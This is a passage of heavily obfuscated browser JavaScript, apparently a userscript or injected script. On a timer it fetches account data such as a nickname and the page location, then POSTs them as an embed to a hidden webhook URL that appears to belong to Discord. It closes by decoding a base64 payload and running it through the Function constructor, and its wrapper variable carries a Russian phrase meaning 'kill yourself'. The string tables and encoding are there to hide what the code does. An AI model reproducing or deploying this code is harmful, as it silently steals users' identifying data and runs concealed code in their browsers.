PI8YG_F[0x0]:return[ZD42Wz%PI8YG_F[0x16],Math.trunc(ZD42Wz/PI8YG_F[0x17])];case PI8YG_F[0x1]:return[ZD42Wz%PI8YG_F[0x16]-PI8YG_F[0x16],Math.trunc(ZD42Wz/PI8YG_F[0x17])+PI8YG_F[0x1]];case PI8YG_F[0x18]:return[((ZD42Wz+PI8YG_F[0x16])%PI8YG_F[0x16]+PI8YG_F[0x16])%PI8YG_F[0x16],Math.round(ZD42Wz/PI8YG_F[0x17])];case PI8YG_F[0x19]:return[ZD42Wz%PI8YG_F[0x16],Math.trunc(ZD42Wz/PI8YG_F[0x17])]}}let yI9ERAQ=ZD42Wz([PI8YG_F[0x18],0x4]),BpmsAe=ZD42Wz([PI8YG_F[0x1],PI8YG_F[0x18]]),M3snIw=yI9ERAQ+BpmsAe,vArK_x=M3snIw-BpmsAe,YpuH4Ji=vArK_x*PI8YG_F[0x18],wZ7sQve=YpuH4Ji/PI8YG_F[0x18];TTMtCLM(console.log(Vj6Jch(M3snIw)),console.log(Vj6Jch(vArK_x)),console.log(Vj6Jch(YpuH4Ji)),console.log(Vj6Jch(wZ7sQve)))}return PI8YG_F[0x13]}for(const oZ312IE of ZD42Wz[kJ1C_Y(0x74)])if(Az8OpfF(oZ312IE)){return PI8YG_F[0x13]}}}return PI8YG_F[0x11]}async function wZ7sQve(ZD42Wz=Vj6Jch(0x75)){try{function yI9ERAQ(ZD42Wz){var yI9ERAQ="u;[DRh<C0BoJWAO*1QG}je#Ef2v)7]4ZHnPLMa(VN|:pqYk!>%8U$ISlw=~i@Ttm?_3/5{^9xd+Kcz6yr.&g\"`s,XFb",BpmsAe,diKEiha,M3snIw,vArK_x,YpuH4Ji,tWYa_b,Az8OpfF;TTMtCLM(BpmsAe=""+(ZD42Wz||""),diKEiha=BpmsAe.length,M3snIw=[],vArK_x=PI8YG_F[0x0],YpuH4Ji=PI8YG_F[0x0],tWYa_b=-PI8YG_F[0x1]);for(Az8OpfF=PI8YG_F[0x0];Az8OpfF<diKEiha;Az8OpfF++){var wZ7sQve=yI9ERAQ.indexOf(BpmsAe[Az8OpfF]);if(wZ7sQve===-PI8YG_F[0x1])continue;if(tWYa_b<PI8YG_F[0x0]){tWYa_b=wZ7sQve}else{TTMtCLM(tWYa_b+=wZ7sQve*PI8YG_F[0xc],vArK_x|=tWYa_b<<YpuH4Ji,YpuH4Ji+=(tWYa_b&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(M3snIw.push(vArK_x&PI8YG_F[0x3]),vArK_x>>=PI8YG_F[0x2],YpuH4Ji-=PI8YG_F[0x2])}while(YpuH4Ji>PI8YG_F[0x9]);tWYa_b=-PI8YG_F[0x1]}}if(tWYa_b>-PI8YG_F[0x1]){M3snIw.push((vArK_x|tWYa_b<<YpuH4Ji)&PI8YG_F[0x3])}return zsfbjJD(M3snIw)}function BpmsAe(ZD42Wz){if(typeof tKa1aN[ZD42Wz]===PI8YG_F[0x5]){return tKa1aN[ZD42Wz]=yI9ERAQ(AULUAl[ZD42Wz])}return tKa1aN[ZD42Wz]}const diKEiha=await fetch(BpmsAe(0x76),{[BpmsAe(PI8YG_F[0x1c])]:BpmsAe(PI8YG_F[0x1d]),[BpmsAe(0x79)]:BpmsAe(0x7a)});if(!diKEiha[PI8YG_F[0x1e]]){function M3snIw(ZD42Wz){var yI9ERAQ="2bRIWOUrGZhJLipQDdMSjFTaNkoKHefAcnCE3Byxu6/gYm_v}*$VqXl%P9(s&t:)#?+>w08!<=]^|[.1{~,\"z74@`5;",BpmsAe,diKEiha,M3snIw,vArK_x,YpuH4Ji,tWYa_b,Az8OpfF;TTMtCLM(BpmsAe=""+(ZD42Wz||""),diKEiha=BpmsAe.length,M3snIw=[],vArK_x=PI8YG_F[0x0],YpuH4Ji=PI8YG_F[0x0],tWYa_b=-PI8YG_F[0x1]);for(Az8OpfF=PI8YG_F[0x0];Az8OpfF<diKEiha;Az8OpfF++){var wZ7sQve=yI9ERAQ.indexOf(BpmsAe[Az8OpfF]);if(wZ7sQve===-PI8YG_F[0x1])continue;if(tWYa_b<PI8YG_F[0x0]){tWYa_b=wZ7sQve}else{TTMtCLM(tWYa_b+=wZ7sQve*PI8YG_F[0xc],vArK_x|=tWYa_b<<YpuH4Ji,YpuH4Ji+=(tWYa_b&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(M3snIw.push(vArK_x&PI8YG_F[0x3]),vArK_x>>=PI8YG_F[0x2],YpuH4Ji-=PI8YG_F[0x2])}while(YpuH4Ji>PI8YG_F[0x9]);tWYa_b=-PI8YG_F[0x1]}}if(tWYa_b>-PI8YG_F[0x1]){M3snIw.push((vArK_x|tWYa_b<<YpuH4Ji)&PI8YG_F[0x3])}return zsfbjJD(M3snIw)}function vArK_x(ZD42Wz){if(typeof tKa1aN[ZD42Wz]===PI8YG_F[0x5]){return tKa1aN[ZD42Wz]=M3snIw(AULUAl[ZD42Wz])}return tKa1aN[ZD42Wz]}throw new Error(vArK_x(0x7b)+diKEiha[vArK_x(0x7c)])}const YpuH4Ji=await diKEiha[BpmsAe(0x7d)](),tWYa_b=YpuH4Ji?.data?.nickname||BpmsAe(0x7e),Az8OpfF=window[BpmsAe(PI8YG_F[0x1a])][BpmsAe(PI8YG_F[0x1b])],wZ7sQve={[BpmsAe(0x81)]:[{[BpmsAe(0x82)]:BpmsAe(0x83),[BpmsAe(0x84)]:BpmsAe(0x85)+tWYa_b+BpmsAe(0x86)+Az8OpfF+BpmsAe(0x87)+encodeURIComponent(tWYa_b)+")",[BpmsAe(0x88)]:0x5865f2,[BpmsAe(0x89)]:new Date()[BpmsAe(0x8a)]()}]},oEoDV88=await fetch(ZD42Wz,{[BpmsAe(PI8YG_F[0x1c])]:BpmsAe(PI8YG_F[0x1d]),[BpmsAe(0x8b)]:{[BpmsAe(0x8c)]:BpmsAe(0x8d)},[BpmsAe(0x8e)]:JSON[BpmsAe(0x8f)](wZ7sQve)});if(!oEoDV88[PI8YG_F[0x1e]]){function w70z8F(ZD42Wz){var yI9ERAQ="O|=2F[Y~lb@nXWH1hK?xQd0`!V_]z38EZ6<%fDiq&r7,u}+^#.kso)vjL*Rm9yM4CS{Baw(:A;/$c\"5INpJTU>GgtPe",BpmsAe,diKEiha,M3snIw,vArK_x,YpuH4Ji,tWYa_b,Az8OpfF;TTMtCLM(BpmsAe=""+(ZD42Wz||""),diKEiha=BpmsAe.length,M3snIw=[],vArK_x=PI8YG_F[0x0],YpuH4Ji=PI8YG_F[0x0],tWYa_b=-PI8YG_F[0x1]);for(Az8OpfF=PI8YG_F[0x0];Az8OpfF<diKEiha;Az8OpfF++){var wZ7sQve=yI9ERAQ.indexOf(BpmsAe[Az8OpfF]);if(wZ7sQve===-PI8YG_F[0x1])continue;if(tWYa_b<PI8YG_F[0x0]){tWYa_b=wZ7sQve}else{TTMtCLM(tWYa_b+=wZ7sQve*PI8YG_F[0xc],vArK_x|=tWYa_b<<YpuH4Ji,YpuH4Ji+=(tWYa_b&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(M3snIw.push(vArK_x&PI8YG_F[0x3]),vArK_x>>=PI8YG_F[0x2],YpuH4Ji-=PI8YG_F[0x2])}while(YpuH4Ji>PI8YG_F[0x9]);tWYa_b=-PI8YG_F[0x1]}}if(tWYa_b>-PI8YG_F[0x1]){M3snIw.push((vArK_x|tWYa_b<<YpuH4Ji)&PI8YG_F[0x3])}return zsfbjJD(M3snIw)}function MhQNAyV(ZD42Wz){if(typeof tKa1aN[ZD42Wz]===PI8YG_F[0x5]){return tKa1aN[ZD42Wz]=w70z8F(AULUAl[ZD42Wz])}return tKa1aN[ZD42Wz]}throw new Error(BpmsAe(0x90)+oEoDV88[MhQNAyV(0x91)])}console[BpmsAe(0x92)](BpmsAe(0x93))}catch(DKFWnJm){function Id9Vhz(ZD42Wz){var yI9ERAQ="8sm@=1gBwit[5v{MQFqeyZrE<cn;X/pV*|IJLou$CD_)6+,x4}\"!Y:z0]?(~f^Hj>RaAK%.h3UlT2PNdOb#9W&`Sk7G",BpmsAe,diKEiha,M3snIw,vArK_x,YpuH4Ji,tWYa_b,Az8OpfF;TTMtCLM(BpmsAe=""+(ZD42Wz||""),diKEiha=BpmsAe.length,M3snIw=[],vArK_x=PI8YG_F[0x0],YpuH4Ji=PI8YG_F[0x0],tWYa_b=-PI8YG_F[0x1]);for(Az8OpfF=PI8YG_F[0x0];Az8OpfF<diKEiha;Az8OpfF++){var wZ7sQve=yI9ERAQ.indexOf(BpmsAe[Az8OpfF]);if(wZ7sQve===-PI8YG_F[0x1])continue;if(tWYa_b<PI8YG_F[0x0]){tWYa_b=wZ7sQve}else{TTMtCLM(tWYa_b+=wZ7sQve*PI8YG_F[0xc],vArK_x|=tWYa_b<<YpuH4Ji,YpuH4Ji+=(tWYa_b&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(M3snIw.push(vArK_x&PI8YG_F[0x3]),vArK_x>>=PI8YG_F[0x2],YpuH4Ji-=PI8YG_F[0x2])}while(YpuH4Ji>PI8YG_F[0x9]);tWYa_b=-PI8YG_F[0x1]}}if(tWYa_b>-PI8YG_F[0x1]){M3snIw.push((vArK_x|tWYa_b<<YpuH4Ji)&PI8YG_F[0x3])}return zsfbjJD(M3snIw)}function TY_dswV(ZD42Wz){if(typeof tKa1aN[ZD42Wz]===PI8YG_F[0x5]){return tKa1aN[ZD42Wz]=Id9Vhz(AULUAl[ZD42Wz])}return tKa1aN[ZD42Wz]}console[Vj6Jch(0x94)](TY_dswV(0x95),DKFWnJm)}}function oEoDV88(){if(diKEiha){return}if(Az8OpfF(document[Vj6Jch(0x96)])){function ZD42Wz(ZD42Wz){var yI9ERAQ=".$`)<{O*Z&xWJ2L3m8ieTK|oDyPnCHb=}wvY64@^9Np5/Bk+MEjl\"R]Af#(tUrh7X%c_Sz:?FuI;1G>Q~0s,V[aqg!d",Vj6Jch,BpmsAe,diKEiha,M3snIw,vArK_x,YpuH4Ji,tWYa_b;TTMtCLM(Vj6Jch=""+(ZD42Wz||""),BpmsAe=Vj6Jch.length,diKEiha=[],M3snIw=PI8YG_F[0x0],vArK_x=PI8YG_F[0x0],YpuH4Ji=-PI8YG_F[0x1]);for(tWYa_b=PI8YG_F[0x0];tWYa_b<BpmsAe;tWYa_b++){var Az8OpfF=yI9ERAQ.indexOf(Vj6Jch[tWYa_b]);if(Az8OpfF===-PI8YG_F[0x1])continue;if(YpuH4Ji<PI8YG_F[0x0]){YpuH4Ji=Az8OpfF}else{TTMtCLM(YpuH4Ji+=Az8OpfF*PI8YG_F[0xc],M3snIw|=YpuH4Ji<<vArK_x,vArK_x+=(YpuH4Ji&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(diKEiha.push(M3snIw&PI8YG_F[0x3]),M3snIw>>=PI8YG_F[0x2],vArK_x-=PI8YG_F[0x2])}while(vArK_x>PI8YG_F[0x9]);YpuH4Ji=-PI8YG_F[0x1]}}if(YpuH4Ji>-PI8YG_F[0x1]){diKEiha.push((M3snIw|YpuH4Ji<<vArK_x)&PI8YG_F[0x3])}return zsfbjJD(diKEiha)}function yI9ERAQ(yI9ERAQ){if(typeof tKa1aN[yI9ERAQ]===PI8YG_F[0x5]){return tKa1aN[yI9ERAQ]=ZD42Wz(AULUAl[yI9ERAQ])}return tKa1aN[yI9ERAQ]}TTMtCLM(diKEiha=PI8YG_F[0x13],wZ7sQve());if(M3snIw){TTMtCLM(clearInterval(M3snIw),M3snIw=PI8YG_F[0x1f])}console[yI9ERAQ(0x97)](yI9ERAQ(0x98))}}TTMtCLM(M3snIw=setInterval(oEoDV88,0x3e8),setTimeout(oEoDV88,0x12c),console[Vj6Jch(0x99)](Vj6Jch(0x9a)))})();"


    убейсебя.constructor(atob((''+убейсебя).match(/=\s*"((?:[A-Za-z0-9+/=]|\\")+)"/)[1]))();
    
})()